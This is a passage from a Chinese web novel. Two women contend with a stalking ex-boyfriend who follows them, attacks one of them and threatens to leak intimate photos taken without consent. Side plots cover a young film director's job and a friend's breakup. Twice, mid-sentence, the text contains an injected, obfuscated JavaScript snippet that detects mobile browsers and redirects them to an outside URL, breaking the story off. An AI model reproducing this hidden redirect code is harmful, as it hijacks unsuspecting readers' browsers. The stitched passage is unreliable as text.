已是晚上十点多,秦朗把两人送到门口,丁盼兮笑得挺甜:“刚搬家,一团乱,收拾好了再请你来做客。” 进屋看到熟悉的一切,两人回想起漫画家闯进的一幕,都很后怕。漫画家半个月就出来了,再来找麻烦怎么办?可两人刚搬来就走,中介费就扔水里了,给房东的押金也拿不回来,租金也退不了,里里外外损失两万多,想想挺心疼,再说搬次家收收捡捡,已经累得够呛。 丁盼兮瘫倒在沙发上:“橘猫这次进去了,肯定就老实了,我们不能一躲再躲吧,下次听到敲门声当点心,平时谨慎点。” “我明天上午就投诉搬家公司。”杨树洗完出来,丁盼兮已铺好了床,杨树没力气拆包找出床品了,两人挤在一张床上睡觉。但越是疲累,越睡不着,丁盼兮夸秦朗长得顺眼,可惜有女朋友,好男人总不给其他女人余地,早早就被人抢了先。 经此患难,杨树把丁盼兮视为最重要的朋友之一,有话直说:“原来你的审美是正常的啊。” 丁盼兮和漫画家在一起,她另外几个朋友也都很不解,有人还把话说得很难听,有次丁盼兮在社交网络发出她和漫画家的合照,被人问:“钓了个富二代?” 丁盼兮把合照删了,她当然知道漫画家不帅,但别人都以为她是图钱才和他在一起,气人。从此她再也不在网上发合照,漫画家自己在网上倒是发得很勤,收获艳羡无数。 漫画家也问过:“你的朋友圈怎么不发我俩照片?” 丁盼兮说:“我们感情稳定,不用向别人证明什么。” 漫画家嘀咕过几次,如今丁盼兮懊恼不已:“看来人品和才华真的不能划等号,是我连累你了。” 杨树说:“他才华也不多。外面画得好的多了去,你只是恰好认识他。再说了,再有才,欣赏就好,不值得去侍奉。” 丁盼兮纳闷:“不该惜才吗?他才华在你眼里一般,但对我够用了,我连个小人儿都画不好。” 杨树笑起来:“惜才不是你那个惜法。哪怕天降紫薇星,才高八斗,拿到诺贝尔奥斯卡,在台上说句谢谢我太太,你顶多与有荣焉,但名利双收是他,你就当个饲养员,很满足吗?” 丁盼兮承认自己瞎了眼,杨树发觉她在感情上比自己拿得起,放得下。纵然所有人都说不般配,丁盼兮依然能坚持心意,但一旦触碰到底线,她又能利落斩断,再不留恋。 夜深了,杨树伸手去摸壁灯,丁盼兮让她别关灯,她惊魂未定,害怕黑暗。两人都睡不着,忍不住聊起初相识的情景。当时杨树刚应聘到杂志社,想找个离杂志社近点的小区,在中介公司,她遇到同样因为换工作找房子的丁盼兮。 丁盼兮那时的男朋友在科技公司上班,大她5岁多,当年底,他被裁员,求丁盼兮跟他回老家发展,丁盼兮不愿意,纠纠缠缠几个月,到底分了手。 后来丁盼兮被同事追求,对方是北京人,父母都是医生,家境算中产,他对丁盼兮的追求很猛烈,丁盼兮几乎招架不住,却有好心的同事告诉她,男人已有门当户对的未婚妻,年底就完婚。 美人很抢手,丁盼兮在感情上很少有空窗期,但相识以来,杨树见证了她三段失败的恋情。丁盼兮反省,她爱看言情剧,剧里男主角上天入地,无孔不入,一心追索他的女人,她看得心神荡漾,但真发生在自己身上,才发觉有多可怕。 杨树不禁又想起夏停那份关于《婚前三十天》的审片意见:我支持文艺创作自由,但前提是现实社会有相应的法律支撑。小说和戏剧里,男主霸道的胁迫禁锢均能获得真爱,但在现实里这是犯罪。性别不平等的社会里,这类作品不适宜在年轻群体大肆盛行,她们缺乏足够的辨识力。 包法利夫人和老板娘都指责夏停是卫道士,丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丁盼兮被迫回到爷爷奶奶家,为了不再被送去叔叔家,她开始学做饭,尽力让奶奶知道,自己不需要被人照顾。 杨树唏嘘,她终于理解丁盼兮为什么能容忍漫画家不事生产了,她害怕被人抛弃,太渴望拥有一个不离开她的人。 爷爷弥留之际,在外漂泊多年的父母带着儿子回来了。他们在上海没挣到多少钱,但对爷爷称得上风光大葬。弟弟是黑户,已到了入学年龄,父母这次回来没有再走,他们办完葬礼,交完罚款,日子过得紧巴巴。 爸爸找了一份修理工的职业,做得最多的是掏下水道,修电灯和煤气灶,又辛苦又脏,收入也不高,稍一不如意就打妈妈。丁盼兮跟她爸不亲,她是为了妈妈,才每年回家过年。 杨树问:“不能把你妈接来北京过年吗?” 丁盼兮说:“她说哪有过年还往外跑的,还嫌我在北京住出租屋,还说等我嫁个有钱人家,她保准跟我爸我弟弟一起来看我。她整天逼婚,我都被她弄疯了,她自己在婚姻里就过成那样,对结婚这种事还看不开吗?我没找到称心如意的男人,干嘛结婚?” 杨树挺心疼她:“你妈为了生儿子,好几年都对你不闻不问,你也不生气吗?” 丁盼兮慢慢说:“小时候很羡慕别的同学爸妈都在身边,每次他们回来过年,我都抱着她的腿不让她走。那时候太小了,不懂生气,等我到了青春期,也会怨她,可她总说女人的肚皮不是自己能做主的,不生不行,她不生,我爸就跟她离婚。” 杨树替她生气:“离婚就离婚。你读小学的时候,她还年轻,离婚去济南,去青岛,找个大点的城市,哪里不能活下来?” 丁盼兮的叹息声如梦呓:“我妈只读完小学,她可能想都没想过不当家庭主妇吧。她年轻时不像现在,没学历的人很难找到事情做,我姥爷家的地没她的份,也没钱给她,她敢去哪里?” 杨树想到黎导那句,要理解历史的局限性,她想,生而为人,也各有各的局限性。这个夜晚让人百感交集,她也对丁盼兮敞开了心扉。 杨树爸妈都是公职,她出生后,爷爷让爸爸把她装进纸箱里扔掉,这样就能追生儿子。爸爸和爷爷吵起来,姥爷劝架,对爷爷说对不住了,给你们杨家生了个孙女。 奶奶打听到,有个鳏夫想收养孩子,给自己养老,他指定要女儿,女儿贴心。奶奶建议找对方多要点钱,因为愿意花钱养女儿,自然是条件好的,杨树不会过得差。杨树爸妈恼了心,过年没回去,奶奶却不死心,派来各路亲戚劝杨树妈妈辞职,赌一把,小区里某个公务员生了二娃,被单位开除留用,拿了几年最低工资,还不是挺过来了? 爸爸妈妈也坚决拒绝了,奶奶带了杨树三年多,等她上幼儿园,就回乡下了。杨树从小成绩优异,每年过年见到奶奶,奶奶夸她会读书,将来肯定有出息,还庆幸当年没把她扔到河滩自生自灭,但又不无遗憾,孙女再乖,也是为别人家养的。 杨树这才知道出生后发生过什么事,她本来很亲奶奶,这之后再也喜欢不起来了。姥姥让杨树争口气,将来一定要离开海拉尔,考到大城市去,过上好日子,要比杨家那几个男孩都过得好。 丁盼兮很气愤:“你爷爷就不说了,男的都那样。可你奶奶自己也是女的,怎么也做得出来?老光棍收养女儿,万一没安好心呢?她不能多想想吗?” 杨树在网上发现,奶奶那样的人不少,很多人说她们也是男权社会的受害者,不应该被过多谴责,但杨树总想,她奶奶的心跟爷爷一样,就是又硬又狠。 聊到凌晨两点多,两人迷迷糊糊睡去,清晨时手机闹钟先后响起,丁盼兮按掉了,让杨树也请个假,晚点再去上班。 地铁上,杨树想起昨夜的深谈,忍不住微笑。好朋友是要分享秘密和往事的,当丁盼兮无条件信任她,从旧家搬出,她就知道,自己拥有了值得一辈子相交的朋友。 12. 第 12 章 秦朗大客户的女儿舒纹加了杨树好友,发来履历,还附上她担纲编剧和摄影师的电影链接地址。电影没在国内外电影院上映过,她特地上传到自己的社交网页。 电影的主线不复杂,中国女孩在美国留学期间,去一家公司做兼职。公司周年庆上,女孩被白人上司看上,听信了花言巧语,被金屋藏娇,还怀了对方的孩子。白人上司让女孩堕胎,女孩哭闹,白人上司的妻子是律师,扬言让她一无所有。 女孩痛不欲生,白人上司却有了新欢,这次是个日本女孩。白人上司喜欢东南亚女人,她们白幼秀,性情温顺。 女孩的爱情之梦幻灭,还被女律师严词警告,堕胎时大出血,死在手术台。女孩之死是电影的引子,用了十分钟就交待完毕,真正的故事从她父亲赴美寻仇开始。女孩出身单亲家庭,母亲生她时死于难产,父亲是退役特种兵,带着两个旧日战友飞赴美国,展开轰轰烈烈的复仇。 电影被舒纹定位为“新时代的三个火枪手”,但故事起承转合完全在杨树的预料之中,它和那部著名的《飓风营救》很相似,都是同一个主题:“犯我女儿者,杀无赦”。但《飓风营救》是2007年的电影,距今已8年了。 电影获得某个独立电影节最佳首作提名,但连杨树这种在影视业资历很浅的人也看得出来,舒纹和她的合作者们的初衷是做成商业类型片。自从三个火枪手踏上美国领土,舒纹等主创就放弃了叙事,也就是“文戏”的部分,一路砍杀,拳拳到肉,完全走爽片路子。 姜妤说过:“网文圈爽文越来越多了,我预计接下来我们会看到大量爽剧爽片。” 舒纹微信头像用的是风景照,朋友圈不发自拍,杨树以为会是朱青那种飒爽型,才会编出这种硬汉故事。晚上见面吃饭,款步走来的却是个玲珑娇美的女人。 秦朗完全没说过舒纹是美人,杨树和她边吃边谈,她最关心舒纹在电影里有多大的自主度,是不是她的合作者们想做爽片,她拗不过他们?舒纹却说不是,她自小被父亲带去电影院看商业大片,迷恋有力量感的男人,而且她想让西方人看到中国功夫永不衰亡。 女孩的父亲和白人上司是主角,一个用武力,一个用智计,残酷对决。杨树问:“怎么想到这个故事的?” 舒纹高三那年,想报考影视类学校,将来混娱乐圈,当明星。那时舒父是某个集团的高管,让她去年会见识见识。 舒纹发现年会简直是高管们选妃的场所,当然,也不缺主动投怀送抱的漂亮女孩,各取所需。父亲对女儿说:“我们公司在国内排得上名号了,娱乐圈那种地方,只会更猖獗。” 舒纹不想当个陪酒卖笑的,但她真心喜欢电影,想让人看到她诠释的角色,父亲说:“当导演不行吗?让演员们当你的工具,你用他们来表达思想。” 舒纹听从父亲的建议,高考后去美国留学,读的是导演系。她说:“我爸以为美国不盛行酒桌文化,其实都一样。我们拍片拉投资,也有人想让我付出一点什么,我不干,找我爸要了两百万。我那几个同学也找家里要了钱,就这么凑了一千多万,把它弄出来了,我们就是想让外国人知道,我们中国人不是好惹的。” 杨树笑了,难怪舒纹一开始就冲着商业类型片去,最后只能参加独立电影节。一千多万人民币,想拍个像样点的爽片,实在捉襟见肘。她换个话题:“你平时看国产剧吗?” 美国和中国存在文化差异,融入很难,舒纹出国留学就是为了学成归国的,所以国产影视剧她看过很多,杨树问:“你喜欢霸道总裁和傻白甜的故事吗?” 舒纹摇头,她喜欢总裁,但偶像剧里要么外表高傲,内心纯情,要么待人严厉,内心深情,但不论哪种,展现在观众面前都很幼稚,行事作风不像成年人。她喜欢的是她电影里女孩父亲那样的,孔武有力,沉默寡言,一看就忠厚可靠,另一种则是斯文败类。 杨树并不戴眼镜,做了个推眼镜的手势:“就是港剧里那种,西装革履,金边眼镜,每天出入写字楼,动动脑子坏水直冒,搅乱整个金融界?” 舒纹兴奋拍桌:“对对对,性感得要命对吧?他靠脑子赚大钱,有时跟我谈谈情,不过我比他还会坑蒙拐骗,骗光了他所有钱,你说过不过瘾?” 杨树一笑,舒纹说的斯文败类,正是她电影里把女孩送上绝路的那位白人上司,成熟绅士,风度翩翩,他和女孩的父亲,其实是舒纹对男人幻想的一体两面。 舒纹对影视剧掌握了丰富理论,挺能说,虽然创作理念不对杨树的口味,但只要让秦朗在他上司面前交个差,帮着递个履历表又何妨,杨树说:“我明天把你履历表递上去,但成不成不好说。” 舒纹双手合十:“你能帮我就感激不尽了!” 这次会面地点是杨树定的,但舒纹点了最昂贵的套餐,一坐上桌就买了单,吃完饭,她要送杨树回家,杨树没让,找借口说自己住在公司附近,走路就到。 舒纹开了一辆市价百来万的车,车型粗犷宽大,如同她的电影风格。杨树目送她离开,转身走向地铁,路上向秦朗通报了见面情况,家境好的人往往不太能吃苦,如果老板给舒纹的职位很低末,她不见得能扛下来。 秦朗说:“她刚才给我打电话了,说你人特别好,还说如果能进你们公司,一定不辜负你的人情。” 商人之女,多少都懂点人情世故,杨树放心了些。回家后,丁盼兮已经把两间房间都收拾出来,衣服挂起来叠起来,她今天没去上班,请人在楼道、自家门口和客厅都安了监控,报警器和防狼喷雾也准备起来。 丁盼兮上一份工作,就遭遇了舒纹电影里的破事,集团年会相当于高管们的猎艳时刻,台上女孩们表演,台下的男人们心里选好了。 丁盼兮被一个副总看上了,她说她有男朋友,副总说那不是更好,他只和她谈情说爱,不耽误她的正事,丁盼兮骂他无耻,副总很纳闷,问她怎么这么放不开。 你为老板卖命,老板还想让你卖身。杨树越发认为舒纹浪费电影那10分钟的开头了,做成功夫片,不如探讨女性在职场上可能会遭遇的危险,尤其是这个背景还涉及到文化融合和种族,这是很好的命题,但每个创作者都有自己感兴趣的点,有的人就热衷美化恶人。 第二天上班,杨树把舒纹的履历发给主管,托她帮忙。主管随手转发给了公司大老板:“科班,海归,漂亮,你上次不还说,公司要培养自己的签约导演吗?” 公司有部正剧在外地拍摄,大老板去视察了,他让人事部先面试舒纹,视情况再看回京是否约见。舒纹和人事专员谈完,来策划文学室找杨树吃饭,杨树推说晚上加班,舒纹娇笑着走了,给办公室叫了下午茶点。主管夸舒纹比履历照片还漂亮,但包法利夫人说她太矮了,女人一矮,就美不到哪里去。 老板娘说:“她在普通人里还可以,当明星可能混不出来,当导演有前途。” 主管说:“那也得看她肯不肯熬,在圈子里无名无姓,谁能一上来就当导演。” 包法利夫人说:“走捷径呗。” 杨树很关注大老板的行程,等了几天,大老板回北京了,她觑空跟主管说了说,主管催促大老板约见了舒纹。 影视业很多大佬都异常迷信,大老板很推崇“一命二运三风水”之说,他在公司弄了一间清修室,出入都会穿过清修室,上香祷告完毕,才进办公室。杨树见过的有钱男人里,大老板是最香喷喷的。 公司前年有部大制作的古装剧,投资人卷入经济官司,主演在海外猥亵未成年少女入狱,大老板深感晦气,从此聘了一位大师跟在身边。每个入职者都得先经大师相相面,确认对大老板无害,才能在长夜影视公司就职。 杨树刚入职时很吃惊,一问才知每个同事都被大师相过面,舒纹也没例外,但大老板只给她剪辑师助理的职位,她有些犹豫,说再考虑考虑。杨树也有点没料到,对秦朗很过意不去,秦朗不在意:“我找你牵个线,对我头儿已经能交待得过去了,你不要有顾虑。” 主管以为以舒纹的履历和长相,能有个不错的起点,但大老板说了,导演这个职位很看人脉和资历,有公认的好作品,大作品,才会受捧,舒纹是海归又如何,好莱坞的人指不了北京的路。何况她是女人,在戏班子里,几个女人能让男人都服气?别说国内了,放眼全球,女导演都不多。 易无说:“很多大导演是从摄影师做起的,她从剪辑做起也不是坏事。” 漫画家已经出来几天了,杨树和丁盼兮每天担惊受怕过日子,但漫画家并没来找麻烦,两人不敢掉以轻心,每天上班都记得把防狼喷雾揣进包里。 漫画家终于露面了,拿着自己画的画,去丁盼兮公司堵人。他说自己在里面深刻反省,意识到没有好好珍惜丁盼兮,他决心痛改全非,出来这几天,他精心画了一幅漫画,一定要挽回她。 平心而论,那幅画是漫画家和丁盼兮谈恋爱以来,最出色的作品,接近他当初打动丁盼兮的水准。丁盼兮没收,让他保重,从此桥归桥,路归路,漫画家试图去抱她,她拿出了防狼喷雾,冷冷地对准他。 保安们跑上前,丁盼兮最近给他们买了几条烟,他们都很乐意为美人效劳。漫画家黯然走了,杨树打开监控软件,发现漫画家上午去了新家门口,还发现监控了,探头探脑了一阵,她买了两条折叠甩棍,叮嘱丁盼兮还得更加小心,两人心惊肉跳,晚上没睡好,但漫画家没出现。 在等级森严的行业,想做事,就得先低头。舒纹来公司办了入职手续,在公司边上找个咖啡馆看剧,约杨树晚上吃意大利菜,秦朗也会一起来。 下班后,杨树走路去舒纹订的西餐厅,走到半路,她感觉不妙,手摸向大帆布包,掏出防狼喷雾,转身一看,果然是漫画家在跟踪她。 漫画家有备而来,戴了3M口罩和墨镜,把自己遮得严实,走近两步,骂道:“我跟盼兮好好的,她拉黑我,防着我,不跟我复合,都是被你撺掇的!” 这条路并不僻静,但无人停住脚步。杨树把防狼喷雾丢回包里,一手抓住里面的甩棍,直视着漫画家:“撺掇又怎么样,你软饭硬吃,我还说不得了?” 漫画家再逼近一步,怒吼:“我已经改了!你到底说了什么?!” 杨树说:“你改不改是你的事,盼兮不会再回头了,你少缠着她。” 漫画家一耳光扇来,杨树躲开,他扬手再扇,杨树打开甩棍,在躲闪中,被自己绊倒。漫画家得意了,抬脚就踹,杨树抓住他的脚脖子,用力一拉,漫画家没站稳,杨树趁机挥出甩棍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079219|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫画家踉跄几下,杨树爬起来,劈头盖脸几记甩棍,漫画家吃了亏,跳脚大骂:“就你这长相,你以为我看得上你?也就盼兮信了!” 看热闹的人聚过来,杨树不慌了,站定掏手机:“再不走,我报警。你前几天跑去我们门前,我把监控视频发给警察了,你不想再去吃牢饭吧?” 漫画家指着她的鼻子,悻然走了:“你给我等着!” 围观的人里面,有人鼓起了掌。杨树慢条斯理收起甩棍,漫画家闯门那天,她和丁盼兮被酒疯子震慑住了,吓懵了,但两个女人对付一个普通男人,发起狠来,体能上其实有胜算。 一人被打倒在地,也能抱住他的腿,另一人抄起家伙,即使只是那几个大水杯,照准他后脑抡,碎片还能当成刀片用,不小心杀了他,也是正当防卫,大不了同归于尽。这些天,杨树脑子里复盘了整个过程,今天练上手了。 人群散去,秦朗匆匆跑来,先仔细打量杨树,见她没受伤,大拇指一晃:“还挺帅。” 漫画家跟杨树争执时,秦朗看到了,他急匆匆停车,这边已开战了。杨树把甩棍塞进包里,她对着视频认真练过。公司所在的创业园区上下班的人多,她谅漫画家不敢来狠的,但担心他会再去新家。 秦朗问:“要不要搬家?” 杨树和丁盼兮也商量过搬家,但一下子要损失那么多钱,都有些肉疼,而且找房子也不是一天两天的事,这期间漫画家还可能再去。丁盼兮想好了,实在不行,她就再和漫画家谈谈。 漫画家很讨厌,杨树不想把他说的话放在心上,但那句“就你这长相”很难听,让她忍不住想起陈樟,想起陈樟,她心情就不好,忍不住问:“你说,盼兮那么漂亮,他干嘛要占我便宜?” 秦朗听到漫画家那句话了,本能安慰道:“你挺好看的。” 杨树扑哧一笑:“他就不怕我告诉盼兮吗?” 秦朗说:“他没想到你会声张,也没认为丁盼兮会站你这边吧。” 杨树心烦意乱,很多男人把女人视为便宜,占便宜是下意识的事,被人反击,也只是腆着脸笑,你拿他没办法。就连现行法律,对他们也起不到震慑作用。但漫画家恨上她了,也许还会再卷土重来,光是搬家可能还不够,还得换工作,不然漫画家一个无业游民,有的是时间跟踪,摸去新家。但她不想这么节节败退,没完没了。 舒纹点了西餐厅最贵的酒,专程敬谢秦朗和杨树,他俩是领路人。吃完饭,秦朗喊了代驾,把杨树送回家,在手机上弄了远程监控软件,随时接应杨树和丁盼兮。 丁盼兮买到很好的石榴,给秦朗榨果汁,他看到餐桌上胖胖笨笨的水杯,拿起来看了看:“这几个胖罐子还挺好玩。” 丁盼兮哈哈笑,杨树抢过去:“是我做的杯子!” 秦朗也哈哈笑,若不是另一只要拿去给章嘉敏,杨树就把胖罐子送给他了。秦朗喝完石榴汁,去厨房把杯子洗干净,告辞。丁盼兮郁闷:“他女朋友怎么那么会找男朋友?” 杨树简直无语,这点小事她都当回事,对男人也太没要求了。她笑道:“可能也有烦心事,但你不知道。异地恋肯定很受罪。” 杨树先前只向丁盼兮示警,说漫画家来堵她,被她打退了,让丁盼兮在家当心,谁敲门都不开,这会儿才仔细说了一遍。丁盼兮很内疚,懊恼自己竟和那样的人在一起过。 这段时间,丁盼兮一想起来就觉得很耻辱,在浴室一待就是大半个小时,以前她洗澡没花这么多时间。两人聊到夜深,各自睡去。 杨树梦见漫画家站在她床头,冲她狞笑,她后背一寒,惊醒,啪地按开壁灯。丁盼兮房间也亮着灯,杨树敲门进去,丁盼兮坐在床上气得直哆嗦,她把漫画家的手机号码和微信号都拉黑了,漫画家用一个新号码发来短信,是她穿吊带睡裙的照片,问她想不想让全世界都看到。 照片里,丁盼兮睡姿随意,领口半露,发丝凌乱,显然是被漫画家偷拍的。漫画家刚和丁盼兮恋爱时,邀请她拍□□视频,丁盼兮不同意,漫画家没强求,但丁盼兮睡着,被他拍过一些照片,美其名曰海棠春睡图。丁盼兮喝令他删了,他照办,原来并没有删得彻底。 丁盼兮打电话过去,漫画家倾诉对她的思念,丁盼兮烦得要命,照片拍得十分清晰,被漫画家弄到网上不好办。杨树第一反应是找陈樟,让他黑掉漫画家的手机,就算陈樟做不到,他也能找到高手帮忙,但丁盼兮坚决不让她再和陈樟联系,不能因为自己和前男友的事,让杨树去找前男友。 秦朗从事高科技,丁盼兮估计他能帮上忙,但已是凌晨三点多,她和杨树不方便找他,开着灯继续睡。 早上闹钟响起,丁盼兮又看到漫画家发来的短信,照片上的她,裙摆被掀起,比之前那张暴露得多,漫画家说:“上你们公司官网看看。” 丁盼兮脑子一炸,在官网论坛,她看到照片,漫画家截去了她的脸部,但她当然认识自己。 丁盼兮在公司管人事,找技术部的同事要到权限,删了照片,她怒骂漫画家不要脸,漫画家嘿嘿笑,他这人念旧,如果丁盼兮回心转意,他保证收手,不然的话,他下次会发露脸的照片。 丁盼兮请教秦朗该怎么办,秦朗回复道:“你假装服个软,给我一天时间,我准备准备。” 13. 第 13 章 杨树看好的一部宋代背景的小说被别家签了,她越发烦躁,可是主管看东西慢,往上递交也慢,她没辙。 下班前,舒纹来找杨树:“一起吃饭?” 杨树不喜欢她那部独立电影暴露出的价值观,本能不想和她走得太近,推辞了。舒纹半是撒娇半是抱怨:“今天累死了,就耽误你一刻钟,我再不找个人说说就疯啦。” 舒纹入职就领到任务,负责整改公司出品的一部民国宅斗剧样片。去年,宅斗剧通过地方广电局审查,拿到发行许可证,在地方台播过两轮,收视率很高,被两家二线卫视买去,拟定11月联播。 上卫视是面向全国,由广电总局对内容进行管理调控,按规定删减修订不合要求的片段,才能在卫视播出。业内把民国背景称为年代剧,该年代剧样片递交给广电总局,拿到500多条审查意见,修订后重新送审,才有播出的希望。 请演员重拍不现实,还费钱,制片人想通过剪辑画面和修改台词完成。修改台词是编剧的工作,但编剧写完年代剧到现在,已过去了一年多,她接了新项目,正在赶稿,舒纹是导演出身,又是独立电影的编剧,制片人把活儿指派给她。 广电是一句一句台词地审查样片,给的意见非常细致,几乎每一集都得作出相应整改。画面剪掉是小事,但角色调整麻烦得多,有个角色是剧中第二大反派,审查意见指出他为人残忍,形象很负面,舒纹跟制片人说:“可他本来就是反派啊!” 制片人说:“你改吧。” 舒纹联系上下文,但凡该角色出场的场次,台词都重新写,而且还得根据演员口型,写出差不多字数的新台词,于是明明是狠毒的角色,硬生生变成有苦衷的好人。舒纹说:“看着他满脸狰狞地扮好人,很好笑。” 杨树笑起来:“金刚怒目,菩萨心肠。” 舒纹定的外卖送到了,杨树拎包回家吃饭。在地铁上,她接到秦朗的电话,漫画家肯定对照片做了备份,黑他手机意义不大,他找了几个兄弟修理了漫画家一顿。 秦朗本不赞成以暴制暴,他担心会被漫画家反扑,但兄弟们都说,这种人欺软怕硬,只敢对付女人,就得给他来点狠的。 丁盼兮说过,漫画家作息黑白颠倒,独自在家就叫外卖吃,从不做饭,秦朗的朋友们趁外卖员给他送吃的时候,一哄而入,狠狠收拾了他。走前没提丁盼兮照片的事,只说是杨树的朋友:“再找杨树麻烦,我们还打你。” 秦朗说越显得不在乎照片,漫画家就越没辙,人不能被别人拿住七寸。他让丁盼兮把自己当男人,暴露照对男人完全不是威胁,网上发袒胸露乳健身照片的男人何其之多。 漫画家被人修理,丁盼兮很解恨,她对秦朗的话深以为然,她不怕的话,漫画家就得想别的招吓唬她了。 丁盼兮跟漫画家恋爱时,就一直有人追她,她在朋友圈发过一条:“恢复单身。”想追她的人纷纷冒出来,但她跟杨树说心有余悸,下一次恋爱要慎重,不能再感性。 杨树笑她:“不感性就不叫恋爱。” 周日一大早,门被敲响。丁盼兮透过猫眼,发现是漫画家,她不开门,隔着门让他滚远点,漫画家扑通一声跪下,把她吓了一跳。 杨树一手攥着手机,一手抓着甩棍,漫画家大声说:“盼兮,我最后跟你道个别吧,说完我就离开北京了!” 对面人家打开门看热闹,丁盼兮不开门,漫画家又是喊叫,又是拍门,右边的邻居不满,帮着敲门:“怎么回事,大早上要不要人睡觉了?” 漫画家继续喊话:“跟你道个歉我就走!” 丁盼兮犹豫了,杨树冲回厨房,抓出擀面杖塞到她手上:“说清楚也好!” 丁盼兮想了想,回屋拿出四个防雾霾的口罩,她和杨树一人戴两个,再用塑料袋把脑袋罩起来,雨衣也披上,这才开门。 漫画家一进来,杨树就盯着他使劲看,他空着手来的,包也没背,没有藏硫酸的余地。他看到丁盼兮这模样,表情很痛苦:“你以为我想毁你的容?盼兮,相爱一场,不至于,我不至于。” 大门敞开,杨树靠着门,做好随时报警的准备,让邻居们都散了。漫画家满脸淤青,秦朗朋友对他可没手下留情,他说他以前对丁盼兮不体贴,失去了才发觉,自己生在福中不知福,他过激的行为,都因为太在乎她,既然丁盼兮心意已决,他再爱她,也必须放手成全她。 丁盼兮默然以对,杨树把甩棍紧了紧,漫画家对她也道了歉,但仍坚称是误会,他不拘小节惯了,但他对杨树真的没想法。 杨树说:“误没误会,你自己心里清楚。” 漫画家不反驳,深深凝视丁盼兮,北京让他痛失毕生至爱,处处都是伤痛回忆,他没法再待下去了,即将回到家乡河北小城,从此再不打扰丁盼兮。 丁盼兮让他多保重,北京生活成本高,回老家也许能轻松些,还能再画些让人赞不绝口的画。漫画家问:“最后能抱抱你吗?” 丁盼兮拒绝了,漫画家离开后,她和杨树解开雨衣,取下罩住脑袋的塑料袋,这幅尊容又滑稽又狼狈,丁盼兮对杨树内疚万分,对自己恨得要死,抓着头发哭了。 杨树也气得想哭,想大叫,她把擀面杖和甩棍都收好,刚才是真的很害怕。好在这之后,漫画家销声匿迹,她和丁盼兮终于又能睡安稳觉了。 十一长假,杨树和丁盼兮哪儿都没去,就在家休息。丁盼兮想做顿好吃的,答谢秦朗屡次相助,但秦朗回了湖南老家。 舒纹把年代剧的样片都整改完毕,制片人重新拿去送审,杨树找舒纹要了一套原剧光盘观看,在两家地方台收视破3,她想了解了解。 舒纹吐槽说这部剧又土又俗又狗血,杨树倒认为影视剧里“洒狗血”不算坏事,戏不热闹不好看,无聊无趣才是一部剧的致命伤。 丁盼兮洗了两碗葡萄,杨树捧着大碗吃,连看了7集,她理解这剧为什么收视率高了,节奏快,冲突强,是父母辈的人喜闻乐见的类型。 丁盼兮只喜欢看言情剧,但她看了几集也说好看,她妈绝对会看得如痴如醉。杨树本着学习的目的,把42集都看完了,服装和化妆很土很俗,但剧情救了它。她搜索了编剧的名字,是个30来岁的女人,她只有两部播出作品,另一部在一家三线卫视播出过,收视惨淡,口碑也差。 然而从年代剧体现的水平来看,编剧戏感很好,写的情节狗血又抓人,杨树记住了她的名字方雯。舒纹拍电影的手法很炫技,但一部电影如果不是为了展现奇观或特效,必须先做好最核心的本质:叙事。不过,对于一个满口术语和理论的人,杨树不想好为人师,没跟她说这些。 丁盼兮是真心想答谢秦朗,每天都关注他的动态,10月5日,秦朗回京,她迫不及待又发出邀请,秦朗说:“刚好带了一点特产,明天中午来找你们吧。” 秦朗拎来一支白葡萄酒和一只礼盒,礼盒是湖南有名的芷江鸭,丁盼兮准备了红酒,秦朗和杨树合力开酒,她寒暄道:“七天假,怎么今天就回来了?” 秦朗笑笑,没吭声。但以杨树之见,一般男人都敌不过丁盼兮殷殷相劝,两杯酒下肚,秦朗面对丁盼兮关切的眼神,说出自己和女朋友分手了。 早在夏天,秦朗和女朋友通话,就感觉她情绪不高,但当时他手头项目正忙。他没日没夜忙完阶段性工作,请假回湖南陪女朋友,女朋友哭着说异地恋太难了,她快坚持不下去了。 秦朗和女朋友是高中时的恋人,相约考到北京,女朋友发挥失常,只考上湖南本地大学。大学四年级,女朋友考上省里的公务员,去年得到领导的重用,下放去怀化锻炼,等她再调回长沙,应该能有个不错的职位。 女朋友家里给她在长沙买了房子,就在湘江边上。家里都催着两人结婚,但女朋友不愿来北京,秦朗做的那行,在长沙发展空间也不大,两人经常在电话里里吵起来。女朋友一遍遍地说自己26岁了,身边的同事大多结婚了,她不想当剩女。 秦朗想不通,剩女是对女人的污名化,女朋友受过高等教育,为什么会把它当回事。女朋友却说自己生活在社会里,不可能完全无视别人的目光,领导和亲戚都给她介绍过对象,她从来不去,但她不想再年复一年地蹉跎青春,父母有白头发了,她舍不得再让他们失望。 杨树很诧异:“她比我还小一岁。” 丁盼兮说:“比我小两岁。” 秦朗再喝一杯酒:“她说她在小城市,小城市风气保守。” 横亘在两人之间的问题始终没得到解决,秦朗想过回长沙,他查过当地相关招聘启事,职位很少,还微末。他这次回去,是想请女朋友再给他两年时间,等他多做几个项目,攒些工作经验,也攒些钱,回长沙要么开公司,要么开个加盟店,销售现公司的产品。不料,刚和女朋友吃上饭,她电话就不停地响,她没接,但电话一直打进来,秦朗让她接电话,女朋友手撑额头,流下眼泪。 女朋友在长沙工作时,有个同龄男人追过她,她说自己有男朋友,在北京,但那男人很执着,他说异地恋都成不了,仍然对她穷追不舍。相处增多,女朋友对那男人也有了好感,她调去怀化后,那男人申请调去陪她,她想了一夜,觉得还是不能辜负秦朗,她应该珍惜他。 女朋友找到对方,说出自己的决定,那男人含着泪祝她幸福。女朋友开车离开,从后视镜往后看,那男人蹲下去,抱着腿哭了。1米78的男人,蜷成一团哭泣,那一刻,女朋友忍不住了,她把车开回来,也蹲下去,跟他说:“可我做不到。” 